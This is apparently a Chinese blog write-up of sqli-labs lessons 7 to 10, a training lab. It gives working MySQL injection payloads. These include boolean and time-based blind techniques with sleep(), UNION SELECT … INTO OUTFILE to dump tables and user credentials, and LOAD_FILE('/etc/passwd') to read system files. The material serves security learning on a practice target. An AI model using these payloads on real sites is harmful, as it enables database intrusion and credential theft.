less-7

原始網頁:

根據:

https://little-c-blog.coderbridge.io/2023/10/01/web-attack-resource/

裡面的筆記

去構造注入語句。最後試到3號成功。

在payload = 1')) and 1=1 --+時顯示正常

在payload = 1')) and 1=2 --+時顯示錯誤

代表要用'))來閉合語句。當然,根據這網頁的性質,輸入正確跟錯誤會顯示的字句不同,可以用blind sql injection去猜出帳密,不過頁籤的標題是dump into outfile,所以可以試試用寫入檔案的方式來顯示帳密。

具體來說,是利用outfile函式來寫入檔案。不過利用outfile函式需要知道網站的路徑,也就是database儲存資料的路徑,這件事可以透過@@datadir這個函式得知。不過現在這個網頁不會回顯,所以可以用less-2來實驗。

union select 1,@@basedir,@@datadir --+

測試目前權限:

payload: 1')) and (select count(*) from mysql.user)>0 --+

如果可以從mysql.user這個table撈出東西來,就代表現在是最高權限。主要權限table有幾個: user,db,host,table_priv,columns_priv和procs_priv,其中user table可以修改、刪除。

確認有幾欄:

payload: 1')) union select null,null,null --+

三個null可正常顯示,代表有三欄。

寫入檔案:

UNION SELECT 1,2,3 into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\uuu.txt

上圖是想寫入uuu.txt,但是失敗。黃字寫:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

secure_file_priv參數用於限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()傳到哪個指定目錄。

1.secure_file_priv為NULL時,不允許導入或導出。
2.secure_file_priv為/tmp時,只能在/tmp目錄中執行導入導出。
3.secure_file_priv沒有值時,不限制在任意目錄的導入導出。

這個值在my.ini裡面,要手動修改:

新增secure_file_priv=""這一行,如下圖反藍處:

回到PHPSTUDY的控制台,按下圖紅圈處重啟:

再執行一次,這一次黃字處還是顯示錯誤:

但實際上寫入的位址已有uuu.txt:

內容自然就是123:

接下來就可以依照less-1的語句來舉一反三,把內容寫在不同檔案上:

語句分別為:

顯示目前所在DB名稱:

UNION SELECT 1,2,database() into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u1.txt"
顯示DB有哪些table:

UNION SELECT 1,2,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security' into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u2.txt"

顯示users這table有哪些column:
UNION SELECT 1,2,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users' into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u3.txt"

顯示username跟password這兩欄的內容:
UNION SELECT 1,group_concat(username),group_concat(password) FROM users into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u4.txt"

甚至可以使用系統命令,將密碼檔內容寫入:

UNION SELECT 1,2,load_file("/etc/passwd") into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u5.txt"

less-8

根據:

網路攻擊參考網頁(SQLi、XSS、SSTI)

裡面的筆記

去構造注入語句。最後試到1號成功。

在payload = 1' and 1=1 --+時顯示正常

在payload = 1' and 1=2 --+時顯示錯誤

之後的步驟就跟less-5一樣(參考: https://little-c-blog.coderbridge.io/2023/10/10/SQLi-lab-6/ ),就不再贅述了。

less-9

這一次的注入,不管是用什麼樣的符號閉合,比如單引號:

1' and 1=1 --+ 或是1' and 1=2 --+

都會顯示同樣的正常頁面,所以需要使用延時盲注。這裡先介紹一下延時盲注常用的函式:

if(expr1,expr2,expr3):判断语句,如果第一个语句(expr1)正确就执行第二个语句,如果错误执行第三个语句

sleep(n):将程序挂起一段时间 n单位为秒

把sleep(n)放在if的expr2或expr3,讓我們這些攻擊者能分辨的出來注入語句到底有沒有執行。

透過以下兩個語句

1' and if(1=1, sleep(5),1) --+

1' and if(1=2, sleep(5),1) --+

第一個等5秒才重新整理,第二個立刻返回正常頁面,代表這一次是用'閉合沒有錯。

接下來就可以參考less-5(參考: https://little-c-blog.coderbridge.io/2023/10/10/SQLi-lab-6/ ),把語句塞到expr1來判斷。以下舉例:

目前所在的資料庫名稱長度: length(database())='8' ,8可以調成其他數字測試

目前所在的資料庫的名稱: (SELECT SUBSTRING(database(), 1, 1)) = 's',粗體字可以調成其他數字或英文字。

資料庫security的第一個table名稱 (0x7365637572697479是security的ascii hex): substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'

users這個table裡的column數量 (0x7573657273是users的ascii hex):

(SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3

user這個table裡的column有哪些,名字是什麼:

substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'

(因為第一個column的第二個字是d,所以上面會中)

users這個table裡的row數量:

(SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13

users這個table裡的username這個column的內容:

substr((select username from security.users limit 0,1),1,1)='D'

三個粗體分別是第幾個username、這個username的第幾個字以及該位置的英文字。

users這個table裡的password這個column的內容:

substr((select password from security.users limit 0,1),1,1)='D'

可另外參考這篇

https://blog.csdn.net/qq_43531669/article/details/97621251

less-10

和less-9相同,只是單引號變雙引號。

Reference

https://blog.csdn.net/qq_53079406/article/details/123051084


#sql injection: 寫入檔案 #sql injection: 延時注入(簡略)







Related Posts

CH5 IF, else 條件判斷入門

CH5 IF, else 條件判斷入門

模組化 (Module):require 和 export

模組化 (Module):require 和 export

C++命名規則 (4)

C++命名規則 (4)


Comments